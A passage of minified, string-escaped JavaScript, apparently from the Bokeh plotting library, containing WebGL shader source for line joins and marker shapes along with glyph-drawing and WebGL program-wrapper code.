-t2.x);\\\\n\\\\n    // This is a join\\\\n    // ----------------------------------------------------------------\\\\n    if( t1 != t2 ) {\\\\n        float angle = atan (t1.x*t2.y-t1.y*t2.x, t1.x*t2.x+t1.y*t2.y);  // Angle needs recalculation for some reason\\\\n        vec2 t  = normalize(t1+t2);\\\\n        vec2 o  = vec2( + t.y, - t.x);\\\\n\\\\n        if ( u_dash_index > 0.0 )\\\\n        {\\\\n            // Broken angle\\\\n            // ----------------------------------------------------------------\\\\n            if( (abs(angle) > THETA) ) {\\\\n                position += v * w * o / cos(angle/2.0);\\\\n                float s = sign(angle);\\\\n                if( angle < 0.0 ) {\\\\n                    if( u == +1.0 ) {\\\\n                        u = v_segment.y + v * w * tan(angle/2.0);\\\\n                        if( v == 1.0 ) {\\\\n                            position -= 2.0 * w * t1 / sin(angle);\\\\n                            u -= 2.0 * w / sin(angle);\\\\n                        }\\\\n                    } else {\\\\n                        u = v_segment.x - v * w * tan(angle/2.0);\\\\n                        if( v == 1.0 ) {\\\\n                            position += 2.0 * w * t2 / sin(angle);\\\\n                            u += 2.0*w / sin(angle);\\\\n                        }\\\\n                    }\\\\n                } else {\\\\n                    if( u == +1.0 ) {\\\\n                        u = v_segment.y + v * w * tan(angle/2.0);\\\\n                        if( v == -1.0 ) {\\\\n                            position += 2.0 * w * t1 / sin(angle);\\\\n                            u += 2.0 * w / sin(angle);\\\\n                        }\\\\n                    } else {\\\\n                        u = v_segment.x - v * w * tan(angle/2.0);\\\\n                        if( v == -1.0 ) {\\\\n                            position -= 2.0 * w * t2 / sin(angle);\\\\n                            u -= 2.0*w / sin(angle);\\\\n                        }\\\\n                    }\\\\n                }\\\\n                // Continuous angle\\\\n                // ------------------------------------------------------------\\\\n            } else {\\\\n                position += v * w * o / cos(angle/2.0);\\\\n                if( u == +1.0 ) u = v_segment.y;\\\\n                else            u = v_segment.x;\\\\n            }\\\\n        }\\\\n\\\\n        // Solid line\\\\n        // --------------------------------------------------------------------\\\\n        else\\\\n        {\\\\n            position.xy += v * w * o / cos(angle/2.0);\\\\n            if( angle < 0.0 ) {\\\\n                if( u == +1.0 ) {\\\\n                    u = v_segment.y + v * w * tan(angle/2.0);\\\\n                } else {\\\\n                    u = v_segment.x - v * w * tan(angle/2.0);\\\\n                }\\\\n            } else {\\\\n                if( u == +1.0 ) {\\\\n                    u = v_segment.y + v * w * tan(angle/2.0);\\\\n                } else {\\\\n                    u = v_segment.x - v * w * tan(angle/2.0);\\\\n                }\\\\n            }\\\\n        }\\\\n\\\\n    // This is a line start or end (t1 == t2)\\\\n    // ------------------------------------------------------------------------\\\\n    } else {\\\\n        position += v * w * o1;\\\\n        if( u == -1.0 ) {\\\\n            u = v_segment.x - w;\\\\n            position -= w * t1;\\\\n        } else {\\\\n            u = v_segment.y + w;\\\\n            position += w * t2;\\\\n        }\\\\n    }\\\\n\\\\n    // Miter distance\\\\n    // ------------------------------------------------------------------------\\\\n    vec2 t;\\\\n    vec2 curr = a_position * abs_scale;\\\\n    if( a_texcoord.x < 0.0 ) {\\\\n        vec2 next = curr + t2*(v_segment.y-v_segment.x);\\\\n\\\\n        rotate( t1, +v_angles.x/2.0, t);\\\\n        v_miter.x = signed_distance(curr, curr+t, position);\\\\n\\\\n        rotate( t2, +v_angles.y/2.0, t);\\\\n        v_miter.y = signed_distance(next, next+t, position);\\\\n    } else {\\\\n        vec2 prev = curr - t1*(v_segment.y-v_segment.x);\\\\n\\\\n        rotate( t1, -v_angles.x/2.0,t);\\\\n        v_miter.x = signed_distance(prev, prev+t, position);\\\\n\\\\n        rotate( t2, -v_angles.y/2.0,t);\\\\n        v_miter.y = signed_distance(curr, curr+t, position);\\\\n    }\\\\n\\\\n    if (!closed && v_segment.x <= 0.0) {\\\\n        v_miter.x = 1e10;\\\\n    }\\\\n    if (!closed && v_segment.y >= v_length)\\\\n    {\\\\n        v_miter.y = 1e10;\\\\n    }\\\\n\\\\n    v_texcoord = vec2( u, v*w );\\\\n\\\\n    // Calculate position in device coordinates. Note that we\\\\n    // already scaled with abs scale above.\\\\n    vec2 normpos = position * sign(u_scale_aspect);\\\\n    normpos += 0.5;  // make up for Bokeh's offset\\\\n    normpos /= u_canvas_size / u_pixel_ratio;  // in 0..1\\\\n    gl_Position = vec4(normpos*2.0-1.0, 0.0, 1.0);\\\\n    gl_Position.y *= -1.0;\\\\n}\\\\n\\\"},456:function(t,e,n){t(452)},457:function(t,e,n){n.fragment_shader=function(t){return\\\"\\\\nprecision mediump float;\\\\nconst float SQRT_2 = 1.4142135623730951;\\\\nconst float PI = 3.14159265358979323846264;\\\\n//\\\\nuniform float u_antialias;\\\\n//\\\\nvarying vec4  v_fg_color;\\\\nvarying vec4  v_bg_color;\\\\nvarying float v_linewidth;\\\\nvarying float v_size;\\\\nvarying vec2  v_rotation;\\\\n\\\\n\\\"+t+\\\"\\\\n\\\\nvec4 outline(float distance, float linewidth, float antialias, vec4 fg_color, vec4 bg_color)\\\\n{\\\\n    vec4 frag_color;\\\\n    float t = linewidth/2.0 - antialias;\\\\n    float signed_distance = distance;\\\\n    float border_distance = abs(signed_distance) - t;\\\\n    float alpha = border_distance/antialias;\\\\n    alpha = exp(-alpha*alpha);\\\\n\\\\n    // If fg alpha is zero, it probably means no outline. To avoid a dark outline\\\\n    // shining through due to aa, we set the fg color to the bg color. Avoid if (i.e. branching).\\\\n    float select = float(bool(fg_color.a));\\\\n    fg_color.rgb = select * fg_color.rgb + (1.0  - select) * bg_color.rgb;\\\\n    // Similarly, if we want a transparent bg\\\\n    select = float(bool(bg_color.a));\\\\n    bg_color.rgb = select * bg_color.rgb + (1.0  - select) * fg_color.rgb;\\\\n\\\\n    if( border_distance < 0.0)\\\\n        frag_color = fg_color;\\\\n    else if( signed_distance < 0.0 ) {\\\\n        frag_color = mix(bg_color, fg_color, sqrt(alpha));\\\\n    } else {\\\\n        if( abs(signed_distance) < (linewidth/2.0 + antialias) ) {\\\\n            frag_color = vec4(fg_color.rgb, fg_color.a * alpha);\\\\n        } else {\\\\n            discard;\\\\n        }\\\\n    }\\\\n    return frag_color;\\\\n}\\\\n\\\\nvoid main()\\\\n{\\\\n    vec2 P = gl_PointCoord.xy - vec2(0.5, 0.5);\\\\n    P = vec2(v_rotation.x*P.x - v_rotation.y*P.y,\\\\n             v_rotation.y*P.x + v_rotation.x*P.y);\\\\n    float point_size = SQRT_2*v_size  + 2.0 * (v_linewidth + 1.5*u_antialias);\\\\n    float distance = marker(P*point_size, v_size);\\\\n    gl_FragColor = outline(distance, v_linewidth, u_antialias, v_fg_color, v_bg_color);\\\\n    //gl_FragColor.rgb *= gl_FragColor.a;  // pre-multiply alpha\\\\n}\\\\n\\\"},n.circle=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    return length(P) - size/2.0;\\\\n}\\\\n\\\",n.square=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    return max(abs(P.x), abs(P.y)) - size/2.0;\\\\n}\\\\n\\\",n.diamond=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    float x = SQRT_2 / 2.0 * (P.x * 1.5 - P.y);\\\\n    float y = SQRT_2 / 2.0 * (P.x * 1.5 + P.y);\\\\n    float r1 = max(abs(x), abs(y)) - size / (2.0 * SQRT_2);\\\\n    return r1 / SQRT_2;\\\\n}\\\\n\\\",n.hex=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    vec2 q = abs(P);\\\\n    return max(q.y * 0.57735 + q.x - 1.0 * size/2.0, q.y - 0.866 * size/2.0);\\\\n}\\\\n\\\",n.triangle=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    P.y -= size * 0.3;\\\\n    float x = SQRT_2 / 2.0 * (P.x * 1.7 - P.y);\\\\n    float y = SQRT_2 / 2.0 * (P.x * 1.7 + P.y);\\\\n    float r1 = max(abs(x), abs(y)) - size / 1.6;\\\\n    float r2 = P.y;\\\\n    return max(r1 / SQRT_2, r2);  // Intersect diamond with rectangle\\\\n}\\\\n\\\",n.invertedtriangle=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    P.y += size * 0.3;\\\\n    float x = SQRT_2 / 2.0 * (P.x * 1.7 - P.y);\\\\n    float y = SQRT_2 / 2.0 * (P.x * 1.7 + P.y);\\\\n    float r1 = max(abs(x), abs(y)) - size / 1.6;\\\\n    float r2 = - P.y;\\\\n    return max(r1 / SQRT_2, r2);  // Intersect diamond with rectangle\\\\n}\\\\n\\\",n.cross='\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    float square = max(abs(P.x), abs(P.y)) - size / 2.5;   // 2.5 is a tweak\\\\n    float cross = min(abs(P.x), abs(P.y)) - size / 100.0;  // bit of \\\"width\\\" for aa\\\\n    return max(square, cross);\\\\n}\\\\n',n.circlecross=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    // Define quadrants\\\\n    float qs = size / 2.0;  // quadrant size\\\\n    float s1 = max(abs(P.x - qs), abs(P.y - qs)) - qs;\\\\n    float s2 = max(abs(P.x + qs), abs(P.y - qs)) - qs;\\\\n    float s3 = max(abs(P.x - qs), abs(P.y + qs)) - qs;\\\\n    float s4 = max(abs(P.x + qs), abs(P.y + qs)) - qs;\\\\n    // Intersect main shape with quadrants (to form cross)\\\\n    float circle = length(P) - size/2.0;\\\\n    float c1 = max(circle, s1);\\\\n    float c2 = max(circle, s2);\\\\n    float c3 = max(circle, s3);\\\\n    float c4 = max(circle, s4);\\\\n    // Union\\\\n    return min(min(min(c1, c2), c3), c4);\\\\n}\\\\n\\\",n.squarecross=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    // Define quadrants\\\\n    float qs = size / 2.0;  // quadrant size\\\\n    float s1 = max(abs(P.x - qs), abs(P.y - qs)) - qs;\\\\n    float s2 = max(abs(P.x + qs), abs(P.y - qs)) - qs;\\\\n    float s3 = max(abs(P.x - qs), abs(P.y + qs)) - qs;\\\\n    float s4 = max(abs(P.x + qs), abs(P.y + qs)) - qs;\\\\n    // Intersect main shape with quadrants (to form cross)\\\\n    float square = max(abs(P.x), abs(P.y)) - size/2.0;\\\\n    float c1 = max(square, s1);\\\\n    float c2 = max(square, s2);\\\\n    float c3 = max(square, s3);\\\\n    float c4 = max(square, s4);\\\\n    // Union\\\\n    return min(min(min(c1, c2), c3), c4);\\\\n}\\\\n\\\",n.diamondcross=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    // Define quadrants\\\\n    float qs = size / 2.0;  // quadrant size\\\\n    float s1 = max(abs(P.x - qs), abs(P.y - qs)) - qs;\\\\n    float s2 = max(abs(P.x + qs), abs(P.y - qs)) - qs;\\\\n    float s3 = max(abs(P.x - qs), abs(P.y + qs)) - qs;\\\\n    float s4 = max(abs(P.x + qs), abs(P.y + qs)) - qs;\\\\n    // Intersect main shape with quadrants (to form cross)\\\\n    float x = SQRT_2 / 2.0 * (P.x * 1.5 - P.y);\\\\n    float y = SQRT_2 / 2.0 * (P.x * 1.5 + P.y);\\\\n    float diamond = max(abs(x), abs(y)) - size / (2.0 * SQRT_2);\\\\n    diamond /= SQRT_2;\\\\n    float c1 = max(diamond, s1);\\\\n    float c2 = max(diamond, s2);\\\\n    float c3 = max(diamond, s3);\\\\n    float c4 = max(diamond, s4);\\\\n    // Union\\\\n    return min(min(min(c1, c2), c3), c4);\\\\n}\\\\n\\\",n.x='\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    float circle = length(P) - size / 1.6;\\\\n    float X = min(abs(P.x - P.y), abs(P.x + P.y)) - size / 100.0;  // bit of \\\"width\\\" for aa\\\\n    return max(circle, X);\\\\n}\\\\n',n.circlex='\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    float x = P.x - P.y;\\\\n    float y = P.x + P.y;\\\\n    // Define quadrants\\\\n    float qs = size / 2.0;  // quadrant size\\\\n    float s1 = max(abs(x - qs), abs(y - qs)) - qs;\\\\n    float s2 = max(abs(x + qs), abs(y - qs)) - qs;\\\\n    float s3 = max(abs(x - qs), abs(y + qs)) - qs;\\\\n    float s4 = max(abs(x + qs), abs(y + qs)) - qs;\\\\n    // Intersect main shape with quadrants (to form cross)\\\\n    float circle = length(P) - size/2.0;\\\\n    float c1 = max(circle, s1);\\\\n    float c2 = max(circle, s2);\\\\n    float c3 = max(circle, s3);\\\\n    float c4 = max(circle, s4);\\\\n    // Union\\\\n    float almost = min(min(min(c1, c2), c3), c4);\\\\n    // In this case, the X is also outside of the main shape\\\\n    float Xmask = length(P) - size / 1.6;  // a circle\\\\n    float X = min(abs(P.x - P.y), abs(P.x + P.y)) - size / 100.0;  // bit of \\\"width\\\" for aa\\\\n    return min(max(X, Xmask), almost);\\\\n}\\\\n',n.squarex=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    float x = P.x - P.y;\\\\n    float y = P.x + P.y;\\\\n    // Define quadrants\\\\n    float qs = size / 2.0;  // quadrant size\\\\n    float s1 = max(abs(x - qs), abs(y - qs)) - qs;\\\\n    float s2 = max(abs(x + qs), abs(y - qs)) - qs;\\\\n    float s3 = max(abs(x - qs), abs(y + qs)) - qs;\\\\n    float s4 = max(abs(x + qs), abs(y + qs)) - qs;\\\\n    // Intersect main shape with quadrants (to form cross)\\\\n    float square = max(abs(P.x), abs(P.y)) - size/2.0;\\\\n    float c1 = max(square, s1);\\\\n    float c2 = max(square, s2);\\\\n    float c3 = max(square, s3);\\\\n    float c4 = max(square, s4);\\\\n    // Union\\\\n    return min(min(min(c1, c2), c3), c4);\\\\n}\\\\n\\\",n.asterisk='\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    // Masks\\\\n    float diamond = max(abs(SQRT_2 / 2.0 * (P.x - P.y)), abs(SQRT_2 / 2.0 * (P.x + P.y))) - size / (2.0 * SQRT_2);\\\\n    float square = max(abs(P.x), abs(P.y)) - size / (2.0 * SQRT_2);\\\\n    // Shapes\\\\n    float X = min(abs(P.x - P.y), abs(P.x + P.y)) - size / 100.0;  // bit of \\\"width\\\" for aa\\\\n    float cross = min(abs(P.x), abs(P.y)) - size / 100.0;  // bit of \\\"width\\\" for aa\\\\n    // Result is union of masked shapes\\\\n    return min(max(X, diamond), max(cross, square));\\\\n}\\\\n'},458:function(t,e,n){var a=t(391),s=t(460),i=t(451),r=t(459),o=t(457),u=t(120),g=t(22),p=t(14),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a.__extends(e,t),e.prototype.init=function(){var t=this.gl,e=r.vertex_shader,n=o.fragment_shader(this._marker_code);this.prog=new s.Program(t),this.prog.set_shaders(e,n),this.vbo_x=new s.VertexBuffer(t),this.prog.set_attribute(\\\"a_x\\\",\\\"float\\\",this.vbo_x),this.vbo_y=new s.VertexBuffer(t),this.prog.set_attribute(\\\"a_y\\\",\\\"float\\\",this.vbo_y),this.vbo_s=new s.VertexBuffer(t),this.prog.set_attribute(\\\"a_size\\\",\\\"float\\\",this.vbo_s),this.vbo_a=new s.VertexBuffer(t),this.prog.set_attribute(\\\"a_angle\\\",\\\"float\\\",this.vbo_a),this.vbo_linewidth=new s.VertexBuffer(t),this.vbo_fg_color=new s.VertexBuffer(t),this.vbo_bg_color=new s.VertexBuffer(t),this.index_buffer=new s.IndexBuffer(t)},e.prototype.draw=function(t,e,n){var a=e.glglyph,s=a.nvertices;if(a.data_changed){if(!isFinite(n.dx)||!isFinite(n.dy))return;a._baked_offset=[n.dx,n.dy],a._set_data(s),a.data_changed=!1}else this.glyph instanceof u.CircleView&&null!=this.glyph._radius&&(null==this.last_trans||n.sx!=this.last_trans.sx||n.sy!=this.last_trans.sy)&&(this.last_trans=n,this.vbo_s.set_data(0,new Float32Array(g.map(this.glyph.sradius,function(t){return 2*t}))));this.visuals_changed&&(this._set_visuals(s),this.visuals_changed=!1);var i=a._baked_offset;if(this.prog.set_uniform(\\\"u_pixel_ratio\\\",\\\"float\\\",[n.pixel_ratio]),this.prog.set_uniform(\\\"u_canvas_size\\\",\\\"vec2\\\",[n.width,n.height]),this.prog.set_uniform(\\\"u_offset\\\",\\\"vec2\\\",[n.dx-i[0],n.dy-i[1]]),this.prog.set_uniform(\\\"u_scale\\\",\\\"vec2\\\",[n.sx,n.sy]),this.prog.set_attribute(\\\"a_x\\\",\\\"float\\\",a.vbo_x),this.prog.set_attribute(\\\"a_y\\\",\\\"float\\\",a.vbo_y),this.prog.set_attribute(\\\"a_size\\\",\\\"float\\\",a.vbo_s),this.prog.set_attribute(\\\"a_angle\\\",\\\"float\\\",a.vbo_a),0!=t.length)if(t.length===s)this.prog.draw(this.gl.POINTS,[0,s]);else if(s<65535){var r=window.navigator.userAgent;0<r.indexOf(\\\"MSIE \\\")+r.indexOf(\\\"Trident/\\\")+r.indexOf(\\\"Edge/\\\")&&p.logger.warn(\\\"WebGL warning: IE is known to produce 1px sprites whith selections.\\\"),this.index_buffer.set_size(2*t.length),this.index_buffer.set_data(0,new Uint16Array(t)),this.prog.draw(this.gl.POINTS,this.index_buffer)}else{for(var o=[],l=0,_=Math.ceil(s/64e3);l<_;l++)o.push([]);for(var l=0,_=t.length;l<_;l++){var h=t[l]%64e3,c=Math.floor(t[l]/64e3);o[c].push(h)}for(var c=0,_=o.length;c<_;c++){var f=new Uint16Array(o[c]),d=64e3*c*4;0!==f.length&&(this.prog.set_attribute(\\\"a_x\\\",\\\"float\\\",a.vbo_x,0,d),this.prog.set_attribute(\\\"a_y\\\",\\\"float\\\",a.vbo_y,0,d),this.prog.set_attribute(\\\"a_size\\\",\\\"float\\\",a.vbo_s,0,d),this.prog.set_attribute(\\\"a_angle\\\",\\\"float\\\",a.vbo_a,0,d),this.vbo_linewidth.used&&this.prog.set_attribute(\\\"a_linewidth\\\",\\\"float\\\",this.vbo_linewidth,0,d),this.vbo_fg_color.used&&this.prog.set_attribute(\\\"a_fg_color\\\",\\\"vec4\\\",this.vbo_fg_color,0,4*d),this.vbo_bg_color.used&&this.prog.set_attribute(\\\"a_bg_color\\\",\\\"vec4\\\",this.vbo_bg_color,0,4*d),this.index_buffer.set_size(2*f.length),this.index_buffer.set_data(0,f),this.prog.draw(this.gl.POINTS,this.index_buffer))}}},e.prototype._set_data=function(t){var e=4*t;this.vbo_x.set_size(e),this.vbo_y.set_size(e),this.vbo_a.set_size(e),this.vbo_s.set_size(e);for(var n=new Float64Array(this.glyph._x),a=new Float64Array(this.glyph._y),s=0,i=t;s<i;s++)n[s]+=this._baked_offset[0],a[s]+=this._baked_offset[1];this.vbo_x.set_data(0,new Float32Array(n)),this.vbo_y.set_data(0,new Float32Array(a)),null!=this.glyph._angle&&this.vbo_a.set_data(0,new Float32Array(this.glyph._angle)),this.glyph instanceof u.CircleView&&null!=this.glyph._radius?this.vbo_s.set_data(0,new Float32Array(g.map(this.glyph.sradius,function(t){return 2*t}))):this.vbo_s.set_data(0,new Float32Array(this.glyph._size))},e.prototype._set_visuals=function(t){i.attach_float(this.prog,this.vbo_linewidth,\\\"a_linewidth\\\",t,this.glyph.visuals.line,\\\"line_width\\\"),i.attach_color(this.prog,this.vbo_fg_color,\\\"a_fg_color\\\",t,this.glyph.visuals.line,\\\"line\\\"),i.attach_color(this.prog,this.vbo_bg_color,\\\"a_bg_color\\\",t,this.glyph.visuals.fill,\\\"fill\\\"),this.prog.set_uniform(\\\"u_antialias\\\",\\\"float\\\",[.8])},e}(i.BaseGLGlyph);function _(n){return function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a.__extends(e,t),Object.defineProperty(e.prototype,\\\"_marker_code\\\",{get:function(){return n},enumerable:!0,configurable:!0}),e}(l)}n.MarkerGLGlyph=l;var h=t(457);n.CircleGLGlyph=_(h.circle),n.SquareGLGlyph=_(h.square),n.DiamondGLGlyph=_(h.diamond),n.TriangleGLGlyph=_(h.triangle),n.InvertedTriangleGLGlyph=_(h.invertedtriangle),n.HexGLGlyph=_(h.hex),n.CrossGLGlyph=_(h.cross),n.CircleCrossGLGlyph=_(h.circlecross),n.SquareCrossGLGlyph=_(h.squarecross),n.DiamondCrossGLGlyph=_(h.diamondcross),n.XGLGlyph=_(h.x),n.CircleXGLGlyph=_(h.circlex),n.SquareXGLGlyph=_(h.squarex),n.AsteriskGLGlyph=_(h.asterisk)},459:function(t,e,n){n.vertex_shader=\\\"\\\\nprecision mediump float;\\\\nconst float SQRT_2 = 1.4142135623730951;\\\\n//\\\\nuniform float u_pixel_ratio;\\\\nuniform vec2 u_canvas_size;\\\\nuniform vec2 u_offset;\\\\nuniform vec2 u_scale;\\\\nuniform float u_antialias;\\\\n//\\\\nattribute float a_x;\\\\nattribute float a_y;\\\\nattribute float a_size;\\\\nattribute float a_angle;  // in radians\\\\nattribute float a_linewidth;\\\\nattribute vec4  a_fg_color;\\\\nattribute vec4  a_bg_color;\\\\n//\\\\nvarying float v_linewidth;\\\\nvarying float v_size;\\\\nvarying vec4  v_fg_color;\\\\nvarying vec4  v_bg_color;\\\\nvarying vec2  v_rotation;\\\\n\\\\nvoid main (void)\\\\n{\\\\n    v_size = a_size * u_pixel_ratio;\\\\n    v_linewidth = a_linewidth * u_pixel_ratio;\\\\n    v_fg_color = a_fg_color;\\\\n    v_bg_color = a_bg_color;\\\\n    v_rotation = vec2(cos(-a_angle), sin(-a_angle));\\\\n    // Calculate position - the -0.5 is to correct for canvas origin\\\\n    vec2 pos = (vec2(a_x, a_y) + u_offset) * u_scale; // in pixels\\\\n    pos += 0.5;  // make up for Bokeh's offset\\\\n    pos /= u_canvas_size / u_pixel_ratio;  // in 0..1\\\\n    gl_Position = vec4(pos*2.0-1.0, 0.0, 1.0);\\\\n    gl_Position.y *= -1.0;\\\\n    gl_PointSize = SQRT_2 * v_size + 2.0 * (v_linewidth + 1.5*u_antialias);\\\\n}\\\\n\\\"},460:function(t,e,n){var a,s,o,i,r,p,d,l,u,x=function(t,e){return Array.isArray(t)&&Array.isArray(e)?t.concat(e):t+e},g=function(t,e){if(null==e);else{if(Array.isArray(e)){for(var n=0;n<e.length;n++)if(v(t,e[n]))return!0;return!1}if(e.constructor===Object){for(var a in e)if(t==a)return!0;return!1}if(e.constructor==String)return 0<=e.indexOf(t)}var s=Error(\\\"Not a container: \\\"+e);throw s.name=\\\"TypeError\\\",s},v=function t(e,n){if(null==e||null==n);else{if(Array.isArray(e)&&Array.isArray(n)){for(var a=0,s=e.length==n.length;s&&a<e.length;)s=t(e[a],n[a]),a+=1;return s}if(e.constructor===Object&&n.constructor===Object){var i=Object.keys(e),r=Object.keys(n);i.sort(),r.sort();for(var o,a=0,s=t(i,r);s&&a<i.length;)o=i[a],s=t(e[o],n[o]),a+=1;return s}}return e==n},_=function(t,e){if(void 0===t||\\\"undefined\\\"!=typeof window&&window===t||\\\"undefined\\\"!=typeof global&&global===t)throw\\\"Class constructor is called as a function.\\\";for(var n in t)void 0!==Object[n]||\\\"function\\\"!=typeof t[n]||t[n].nobind||(t[n]=t[n].bind(t));t.__init__&&t.__init__.apply(t,e)},m=function(t,e){if((\\\"number\\\"==typeof t)+(\\\"number\\\"==typeof e)===1){if(t.constructor===String)return h.call(t,e);if(e.constructor===String)return h.call(e,t);if(Array.isArray(e)){var n=t;t=e,e=n}if(Array.isArray(t)){for(var a=[],s=0;s<e;s++)a=a.concat(t);return a}}return t*e},y=function(t){return null===t||\\\"object\\\"!=typeof t?t:void 0!==t.length?!!t.length&&t:void 0!==t.byteLength?!!t.byteLength&&t:t.constructor!==Object||!!Object.getOwnPropertyNames(t).length&&t},b=function(t){if(!Array.isArray(this))return this.append.apply(this,arguments);this.push(t)},w=function(t,e){return this.constructor!==Object?this.get.apply(this,arguments):void 0!==this[t]?this[t]:void 0!==e?e:null},P=function(t){if(!Array.isArray(this))return this.remove.apply(this,arguments);for(var e=0;e<this.length;e++)if(v(this[e],t))return void this.splice(e,1);var n=Error(t);throw n.name=\\\"ValueError\\\",n},h=function(t){if(this.repeat)return this.repeat(t);if(t<1)return\\\"\\\";for(var e=\\\"\\\",n=this.valueOf();1<t;)1&t&&(e+=n),t>>=1,n+=n;return e+n},c=function(t){return this.constructor!==String?this.startswith.apply(this,arguments):0==this.indexOf(t)};u=window.console,l=function(t,e){var n,a,s,i,r,o,l;for(e=void 0===e?\\\"periodic check\\\":e,i=[];a=t.getError(),!(v(a,t.NO_ERROR)||y(i)&&v(a,i[i.length-1]));)b.call(i,a);if(i.length){for(r=\\\"\\\",\\\"object\\\"!=typeof(o=i)||Array.isArray(o)||(o=Object.keys(o)),l=0;l<o.length;l+=1)n=o[l],r=x(r,n);throw(s=new Error(\\\"RuntimeError:OpenGL got errors (\\\"+e+\\\"): \\\"+r)).name=\\\"RuntimeError\\\",s}return null},(s=function(){_(this,arguments)}).prototype._base_class=Object,s.prototype._class_name=\\\"GlooObject\\\",s.prototype.__init__=function(t){if(this._gl=t,this.handle=null,this._create(),null===this.handle)throw\\\"AssertionError: this.handle !== null\\\";return null},s.prototype._create=function(){var t;throw(t=new Error(\\\"NotImplementedError:\\\")).name=\\\"NotImplementedError\\\",t},((i=function(){_(this,arguments)}).prototype=Object.create(s.prototype))._base_class=s.prototype,i.prototype._class_name=\\\"Program\\\",i.prototype.UTYPEMAP={float:\\\"uniform1fv\\\",vec2:\\\"uniform2fv\\\",vec3:\\\"uniform3fv\\\",vec4:\\\"uniform4fv\\\",int:\\\"uniform1iv\\\",ivec2:\\\"uniform2iv\\\",ivec3:\\\"uniform3iv\\\",ivec4:\\\"uniform4iv\\\",bool:\\\"uniform1iv\\\",bvec2:\\\"uniform2iv\\\",bvec3:\\\"uniform3iv\\\",bvec4:\\\"uniform4iv\\\",mat2:\\\"uniformMatrix2fv\\\",mat3:\\\"uniformMatrix3fv\\\",mat4:\\\"uniformMatrix4fv\\\",sampler1D:\\\"uniform1i\\\",sampler2D:\\\"uniform1i\\\",sampler3D:\\\"uniform1i\\\"},i.prototype.ATYPEMAP={float:\\\"vertexAttrib1f\\\",vec2:\\\"vertexAttrib2f\\\",vec3:\\\"vertexAttrib3f\\\",vec4:\\\"vertexAttrib4f\\\"},i.prototype.ATYPEINFO={float:[1,5126],vec2:[2,5126],vec3:[3,5126],vec4:[4,5126]},i.prototype._create=function(){return this.handle=this._gl.createProgram(),this.locations={},this._unset_variables=[],this._validated=!1,this._samplers={},this._attributes={},this._known_invalid=[],null},i.prototype.delete=function(){return this._gl.deleteProgram(this.handle),null},i.prototype.activate=function(){return this._gl.useProgram(this.handle),null},i.prototype.deactivate=function(){return this._gl.useProgram(0),null},i.prototype.set_shaders=function(t,e){var n,a,s,i,r,o,l,_,h,c,f,d,u;for(o=this._gl,this._linked=!1,u=o.createShader(o.VERTEX_SHADER),r=o.createShader(o.FRAGMENT_SHADER),f=[[t,u,\\\"vertex\\\"],[e,r,\\\"fragment\\\"]],_=0;_<2;_+=1)if(n=(c=f[_])[0],l=c[1],d=c[2],o.shaderSource(l,n),o.compileShader(l),h=o.getShaderParameter(l,o.COMPILE_STATUS),!y(h))throw i=o.getShaderInfoLog(l),(s=new Error(\\\"RuntimeError:\\\"+x(\\\"errors in \\\"+d+\\\" shader:\\\\n\\\",i))).name=\\\"RuntimeError\\\",s;if(o.attachShader(this.handle,u),o.attachShader(this.handle,r),o.linkProgram(this.handle),!y(o.getProgramParameter(this.handle,o.LINK_STATUS)))throw(a=new Error(\\\"RuntimeError:Program link error:\\\\n\\\"+o.getProgramInfoLog(this.handle))).name=\\\"RuntimeError\\\",a;return this._unset_variables=this._get_active_attributes_and_uniforms(),o.detachShader(this.handle,u),o.detachShader(this.handle,r),o.deleteShader(u),o.deleteShader(r),this._known_invalid=[],this._linked=!0,null},i.prototype._get_active_attributes_and_uniforms=function(){var s,t,e,n,a,i,r,o,l,_,h,c,f,d,u,g,p,v,m;for(o=this._gl,this.locations={},d=new window.RegExp(\\\"(\\\\\\\\w+)\\\\\\\\s*(\\\\\\\\[(\\\\\\\\d+)\\\\\\\\])\\\\\\\\s*\\\"),a=o.getProgramParameter(this.handle,o.ACTIVE_UNIFORMS),t=o.getProgramParameter(this.handle,o.ACTIVE_ATTRIBUTES),v=[],\\\"object\\\"!=typeof(g=[[s=[],t,o.getActiveAttrib,o.getAttribLocation],[v,a,o.getActiveUniform,o.getUniformLocation]])||Array.isArray(g)||(g=Object.keys(g)),p=0;p<g.length;p+=1)for(m=g[p],e=(u=m)[0],n=u[1],i=u[2],r=u[3],l=0;l<n;l+=1){if(_=i.call(o,this.handle,l),f=_.name,c=f.match(d),y(c))for(f=c[1],h=0;h<_.size;h+=1)b.call(e,[f+\\\"[\\\"+h+\\\"]\\\",_.type]);else b.call(e,[f,_.type]);this.locations[f]=r.call(o,this.handle,f)}return x(function(){var t,e,n,a=[];for(\\\"object\\\"!=typeof(e=s)||Array.isArray(e)||(e=Object.keys(e)),n=0;n<e.length;n++)t=e[n],a.push(t[0]);return a}.apply(this),function(){var t,e,n,a=[];for(\\\"object\\\"!=typeof(e=v)||Array.isArray(e)||(e=Object.keys(e)),n=0;n<e.length;n++)t=e[n],a.push(t[0]);return a}.apply(this))},i.prototype.set_texture=function(t,e){var n,a,s;if(!y(this._linked))throw(n=new Error(\\\"RuntimeError:Cannot set uniform when program has no code\\\")).name=\\\"RuntimeError\\\",n;return a=w.call(this.locations,t,-1),y(a<0)?g(t,this._known_invalid)||(b.call(this._known_invalid,t),u.log(\\\"Variable \\\"+t+\\\" is not an active texture\\\")):(g(t,this._unset_variables)&&P.call(this._unset_variables,t),this.activate(),s=function(){return\\\"function\\\"==typeof 